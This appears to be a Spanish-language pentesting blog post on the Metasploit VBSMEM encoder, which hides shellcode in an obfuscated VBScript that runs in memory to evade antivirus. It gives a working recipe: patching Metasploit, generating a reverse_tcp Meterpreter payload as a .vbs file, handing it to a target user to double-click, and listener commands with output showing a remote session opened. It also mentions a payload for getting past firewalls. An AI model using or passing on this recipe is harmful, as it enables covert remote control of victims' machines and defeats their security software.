VBSMEM es un encoder incluido en las versiones de MetaSploit FrameWork  superiores a la 3.8, nace de la necesidad de una solución al problema que se enfrentar los pentesters a la hora de generar payloads con msfpayload, codificarlos múltiples veces con msfencode para que al final, sean detectados por el AV en la maquina objetivo y no sea posible obtener una sesión meterpreter, lo que desde luego, es bastante frustrante. Se basa en la idea de que, los payloads con VBScript no son detectados por los AV actuales, esto ocurre, porque se ejecutan en memoria y no realizan ningún tipo de operación de escritura en disco, evidentemente el AV confiá en el contenido de una macro que se ejecute dentro de un programa de Microsoft Office (por ejemplo), esto se ha detallado hace unas cuantas entradas, para revisar dicha entrada ver aquí https://thehackerway.com/2012/02/13/intentando-evadir-anti-virus-usando-metasploit-framework-y-visual-basic-contra-plataformas-windows-parte-ii/ tomando este enfoque, se ha implementado el encoder VBSMEM, el cual escribe un shellcode en un fichero VBScript el cual utiliza una librería llamada Dynawrap.dll la cual ejecuta llamadas nativas del sistema operativo en concreto las funciones:

1. VirtualAlloc: Separar un espacio en memoria para la ejecución del shellcode.

2. WriteProcessMemory: Copiar el shellcode en el segmento de memoria separado.

3. CreateThread: Ejecutar el shellcode cargado en memoria.

Por lo demás, para el funcionamiento de este encoder, se utilizan las mismas técnicas de ofuscación para VBScript para ocultar el Shellcode actual de un software AV en la máquina objetivo, la ventaja de esto es que se crea un fichero ejecutable (.vbs) con las mismas características de ofuscación de un fichero en ms office con una macro maliciosa, por lo tanto no es detectable (al menos a día de hoy) por ningún AV del mercado. Los pasos a seguir para conseguir esto son los siguientes:

1. Si se utiliza la versión 3.8 de metasploit o inferior se debe descargar el patch correspondiente y aplicarlo, el patch se encuentra ubicado aquí: http://dev.metasploit.com/redmine/attachments/906/vbsmem-1.2.1.patch
El fichero en concreto que se debe parchar es <DIR_MSF>/lib/msf/util/exe.rb

/opt/metasploit3/msf3/lib/msf/util# patch <vbsmem-1.2.1.patch

patching file exe.rb

Hunk #1 succeeded at 813 (offset 80 lines).

Hunk #2 succeeded at 1668 (offset 80 lines).

Hunk #3 succeeded at 1693 (offset 80 lines).

patching file vbsmem.vbs

Ahora bien, después de aplicar el patch, se crea el fichero vbsmem.vbs que debe ser ubicado en el directorio <DIR_MSF>/data/templates esto es importante ya que el encoder buscará este fichero en dicha ruta.

NOTA: Después de ejecutar el patch, es necesario comprobar que el fichero vbsmem.vbs creando por el patch, es exactamente igual al que se encuentra en la página anteriormente mencionada, ya que se ha notado que en ocasiones se genera incorrectamente, por lo tanto es necesario comprobar y verificar que no existen diferencias entre el fichero y el listado que aparece en la página.

2. Ahora se puede ejecutar el comando msfpayload con la opción “-t vbsmem” de la siguiente forma

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -t vbsmem > /opt/lampp/htdocs/vbsmem_generated.vbs

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

3. El fichero generado se entrega al usuario de la máquina objetivo con el fin de que se ejecute dicho script, tan sencillo como realizar un doble click sobre dicho fichero para que se ejecute el payload, luego en la máquina del atacante, se debe establecer el Listener adecuado, en este caso el exploit/multi/handler para recibir la conexión reversa.

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.33

LHOST => 192.168.1.33

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.33:4444

[*] Starting the payload handler…

[*] Sending stage (749056 bytes) to 192.168.1.38

[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.38:1197) at Sun May 29 01:06:06 +0200 2011

meterpreter > sysinfo

System Language : en_US

OS : Windows XP (Build 2600, Service Pack 3).

Computer : ANONYMOUS

Architecture : x86

Meterpreter : x86/win32

4. Finalmente, el objetivo de hacer un “bypass” del AV se ha conseguido, dado que desde la maquina objetivo, aunque se realice un escaneo del fichero, no se encontrara ningún tipo de amenaza, Este encoder como se ha mencionado antes, se encuentra disponible de forma definitiva en la versión estable 3.8 (o superior) de Metasploit, con lo cual solamente será necesario actualizar la versión de MSF a la actual.

Por otra parte, en el caso de que se encuentre establecido un Firewall en la máquina objetivo, es probable que bloquee la conexión por dicho puerto para la conexión reversa, en estos casos, podría ser útil emplear el payload reverse_tcp_allports explicado en la publicación anterior